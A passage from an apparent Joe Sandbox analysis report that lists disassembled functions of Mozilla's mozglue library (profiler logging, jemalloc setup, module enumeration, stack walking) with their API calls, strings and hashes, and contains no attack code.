Part of subcall function 6C4E5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C4E5F27
Part of subcall function 6C4E5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C4E5F47
Part of subcall function 6C4E5E60: GetCurrentProcess.KERNEL32 ref: 6C4E5F53
Part of subcall function 6C4E5E60: GetCurrentThread.KERNEL32 ref: 6C4E5F5C
Part of subcall function 6C4E5E60: GetCurrentProcess.KERNEL32 ref: 6C4E5F66
Part of subcall function 6C4E5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C4E5F7E

free.MOZGLUE(?), ref: 6C51F9C5
free.MOZGLUE(?), ref: 6C51F9DA

Strings

[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C51F9A6
Thread , xrefs: 6C51F789
" attempted to re-register as ", xrefs: 6C51F858
[D %d/%d] profiler_register_thread(%s), xrefs: 6C51F71F

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 11b19c0a012e7944b62f4bffce530a444a154cc9953e0d8864aa9e892c7a33bc
Instruction ID: de55df5fa2ba918e0d5ec4f1753462140a1cad23095b586e53a9f93daff6bc88
Opcode Fuzzy Hash: 11b19c0a012e7944b62f4bffce530a444a154cc9953e0d8864aa9e892c7a33bc
Instruction Fuzzy Hash: FD81D6716043049FDB10EF24CC44AAAB7A5EFC5308F95465DE84997B51EB31E849CBD2

Function 6C51EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51EE60
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51EE6D
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C51EEA5
CloseHandle.KERNEL32(?), ref: 6C51EEB4
free.MOZGLUE(00000000), ref: 6C51EEBB
GetCurrentThreadId.KERNEL32 ref: 6C51EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51EECF

Part of subcall function 6C51DE60: GetCurrentThreadId.KERNEL32 ref: 6C51DE73
Part of subcall function 6C51DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C4E4A68), ref: 6C51DE7B
Part of subcall function 6C51DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C4E4A68), ref: 6C51DEB8
Part of subcall function 6C51DE60: free.MOZGLUE(00000000,?,6C4E4A68), ref: 6C51DEFE
Part of subcall function 6C51DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C51DF38

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

GetCurrentThreadId.KERNEL32 ref: 6C51EF1E
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51EF2B
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51EF59
GetCurrentThreadId.KERNEL32 ref: 6C51EFB0
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51EFBD
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51EFE1
GetCurrentThreadId.KERNEL32 ref: 6C51EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F000

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C51F02F

Part of subcall function 6C51F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C51F09B
Part of subcall function 6C51F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C51F0AC
Part of subcall function 6C51F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C51F0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6C51F008
[I %d/%d] profiler_stop, xrefs: 6C51EED7

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 788cad68b8c3625e10bb29ce62ed15e454ec543c5bcc6326eeb7047f410f046a
Instruction ID: 679b26b66f4111e87666dab46c03c264029b6d1082788409dd445c5b91d6b570
Opcode Fuzzy Hash: 788cad68b8c3625e10bb29ce62ed15e454ec543c5bcc6326eeb7047f410f046a
Instruction Fuzzy Hash: B951A435708210DFEB00AB65DC0C7A67BB4EB87328F96071AE915C3F81DBB55844C7AA

Function 6C50D010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C55E804), ref: 6C50D047
GetSystemInfo.KERNEL32(?), ref: 6C50D093
__Init_thread_footer.LIBCMT ref: 6C50D0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C55E810,00000040), ref: 6C50D0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E7B8,00001388), ref: 6C50D147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E744,00001388), ref: 6C50D162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E784,00001388), ref: 6C50D18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E7DC,00001388), ref: 6C50D1B1

Strings

<jemalloc>, xrefs: 6C50D268, 6C50D311
MALLOC_OPTIONS, xrefs: 6C50D0CB
MOZ_CRASH(), xrefs: 6C50D277
: (malloc) Unsupported character in malloc options: ', xrefs: 6C50D322
Compile-time page size does not divide the runtime one., xrefs: 6C50D26D

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: a8ae44262fb37e5427d5ebbb1feda53d43522414d63b99af7e61593a6838558a
Instruction ID: ad6426bf259c87df681dd460a3b5fcb575defc0667717e2f4c610bc012407c9b
Opcode Fuzzy Hash: a8ae44262fb37e5427d5ebbb1feda53d43522414d63b99af7e61593a6838558a
Instruction Fuzzy Hash: 7A811370B042419FEB00DF68CD54B697BF4EB46308F96052AE901D7F80EBB9A805CBD9

Function 6C4E7FD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C4E8007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C4E801D

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C4E802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C4E803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C4E808D

Part of subcall function 6C4ECA10: mozalloc_abort.MOZGLUE(?), ref: 6C4ECAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C4E809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C4E80B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C4E80DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4E80ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4E80FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4E810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C4E8133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C4E8149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C4E8167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C4E817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4E8199

Strings

0>Ql, xrefs: 6C4E811E

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: 0>Ql
API String ID: 2721933968-406761025
Opcode ID: 41c7cd0b2a3ea76db92db0ea6bebf9339b53569ac5702cf29e88fa6a573d73e8
Instruction ID: 89e085a994dafa142ffc40a84774b79003cff7a337f4b896889fff570ef251c0
Opcode Fuzzy Hash: 41c7cd0b2a3ea76db92db0ea6bebf9339b53569ac5702cf29e88fa6a573d73e8
Instruction Fuzzy Hash: C75172B1E002149BDF00DBA9DC84EAFBBB9AF89265F154129E815E7741E730ED05CBA1

Function 6C4E5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4E5E9D

Part of subcall function 6C4F5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5B85
Part of subcall function 6C4F5B50: EnterCriticalSection.KERNEL32(6C55F688,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5B90
Part of subcall function 6C4F5B50: LeaveCriticalSection.KERNEL32(6C55F688,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5BD8
Part of subcall function 6C4F5B50: GetTickCount64.KERNEL32 ref: 6C4F5BE4

GetCurrentThreadId.KERNEL32 ref: 6C4E5EAB
GetCurrentThreadId.KERNEL32 ref: 6C4E5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4E5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C4E6017

Part of subcall function 6C4D4310: moz_xmalloc.MOZGLUE(00000010,?,6C4D42D2), ref: 6C4D436A
Part of subcall function 6C4D4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C4D42D2), ref: 6C4D4387

moz_xmalloc.MOZGLUE(00000004), ref: 6C4E5F47
GetCurrentProcess.KERNEL32 ref: 6C4E5F53
GetCurrentThread.KERNEL32 ref: 6C4E5F5C
GetCurrentProcess.KERNEL32 ref: 6C4E5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C4E5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C4E5F27

Part of subcall function 6C4ECA10: mozalloc_abort.MOZGLUE(?), ref: 6C4ECAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4E55E1), ref: 6C4E5E8C

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4E55E1), ref: 6C4E605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4E55E1), ref: 6C4E60CC

Strings

GeckoMain, xrefs: 6C4E5ECE, 6C4E6015

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: fab43d08a1b839bae9bb051207ebaa0f59e9c69f5fdc3ee2840d921de1797908
Instruction ID: dde8e83f1fcd86cecbf95675bc4b111d03995ff203afee0a47e7edfe99234071
Opcode Fuzzy Hash: fab43d08a1b839bae9bb051207ebaa0f59e9c69f5fdc3ee2840d921de1797908
Instruction Fuzzy Hash: 8E719EB0604740DFD700DF28C880E6ABBF0BF9A305F554A6DE98687B52D771E948CB92

Function 6C4E9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4D31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C4D3217
Part of subcall function 6C4D31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C4D3236
Part of subcall function 6C4D31C0: FreeLibrary.KERNEL32 ref: 6C4D324B
Part of subcall function 6C4D31C0: __Init_thread_footer.LIBCMT ref: 6C4D3260
Part of subcall function 6C4D31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C4D327F
Part of subcall function 6C4D31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C4D328E
Part of subcall function 6C4D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C4D32AB
Part of subcall function 6C4D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C4D32D1
Part of subcall function 6C4D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C4D32E5
Part of subcall function 6C4D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C4D32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C4E9675
__Init_thread_footer.LIBCMT ref: 6C4E9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C4E96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C4E9707
__Init_thread_footer.LIBCMT ref: 6C4E971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C4E9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C4E97B7
FreeLibrary.KERNEL32 ref: 6C4E97D0
FreeLibrary.KERNEL32 ref: 6C4E97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C4E9824

Strings

ntdll.dll, xrefs: 6C4E96E3
NtMapViewOfSection, xrefs: 6C4E9701
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C4E9670
MapViewOfFileNuma2, xrefs: 6C4E97B1

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: f3818374af92cfee833505f53ddb692b572c89edf5fd021dd37ac9afc35d3683
Instruction ID: 47ce4f42ec0c078042cb29ecf1f06401fed4c9443e6af6960a62abd1ff9e295d
Opcode Fuzzy Hash: f3818374af92cfee833505f53ddb692b572c89edf5fd021dd37ac9afc35d3683
Instruction Fuzzy Hash: D361E371B00201EFDF00DF69DC88F9A7BB4EB4A316F924229E91693780D731A858CB95

Function 6C536660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C55F618), ref: 6C536694
GetThreadId.KERNEL32(?), ref: 6C5366B1
GetCurrentThreadId.KERNEL32 ref: 6C5366B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C5366E1
EnterCriticalSection.KERNEL32(6C55F618), ref: 6C536734
GetCurrentProcess.KERNEL32 ref: 6C53673A
LeaveCriticalSection.KERNEL32(6C55F618), ref: 6C53676C
GetCurrentThread.KERNEL32 ref: 6C5367FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C536868
RtlCaptureContext.NTDLL ref: 6C53687F

Strings

WalkStack64, xrefs: 6C536890

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 538c07907c586324a2f63a8d37cb20175f8d7096d3b8737add233d5c82d5b250
Instruction ID: 11469bbbd3b68dd6175c17ff3736780095ca8f9000ecd9ad94a2cd8fc4864b30
Opcode Fuzzy Hash: 538c07907c586324a2f63a8d37cb20175f8d7096d3b8737add233d5c82d5b250
Instruction Fuzzy Hash: 5E51CB71A09310AFDB11DF24CC48B5ABBF4BF89714F44492DF99887640EBB0E8088B92

Function 6C51DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51DE73
GetCurrentThreadId.KERNEL32 ref: 6C51DF7D
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51DF8A
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51DFC9
GetCurrentThreadId.KERNEL32 ref: 6C51DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C4E4A68), ref: 6C51DE7B

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C4E4A68), ref: 6C51DEB8
free.MOZGLUE(00000000,?,6C4E4A68), ref: 6C51DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C51DF38

Strings

<none>, xrefs: 6C51DFD7
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C51E00E
[I %d/%d] locked_profiler_stop, xrefs: 6C51DE83

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 45a3ca69d39c5f93f90708d31dde6918dbf2ad04fd1dbd4990064904bcb0fbbb
Instruction ID: 256bd6afa5caf229f38b6bfb87e0c8d251b55abe561817ac6a8b1b33e2bbbe54
Opcode Fuzzy Hash: 45a3ca69d39c5f93f90708d31dde6918dbf2ad04fd1dbd4990064904bcb0fbbb
Instruction Fuzzy Hash: 24411335B05210DBEB11AF64DC0CBAABB75EB8230CF850219E90997F41DB719D05CBEA

Function 6C52D840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C52D85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D918
GetCurrentThreadId.KERNEL32 ref: 6C52D93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D970
GetCurrentThreadId.KERNEL32 ref: 6C52D976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C52DA2E
GetCurrentThreadId.KERNEL32 ref: 6C52DA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52DA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C52DA91

Part of subcall function 6C4F5C50: GetTickCount64.KERNEL32 ref: 6C4F5D40
Part of subcall function 6C4F5C50: EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4F5D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52DAB7

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: f4d3d21c9b26f589f5440881eb0881fa4221e0f2151b8c4934cfefdc83a26d75
Instruction ID: 8916d7fd69cbeb8d37a59bf9f06ae8ea45d4a3753c4ad7a5e9a6f24e443f89ba
Opcode Fuzzy Hash: f4d3d21c9b26f589f5440881eb0881fa4221e0f2151b8c4934cfefdc83a26d75
Instruction Fuzzy Hash: 1F71DF35604304DFCB00DF29C888B9ABBF5FF89314F59856EE85A9B341DB34A844CB95

Function 6C52D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

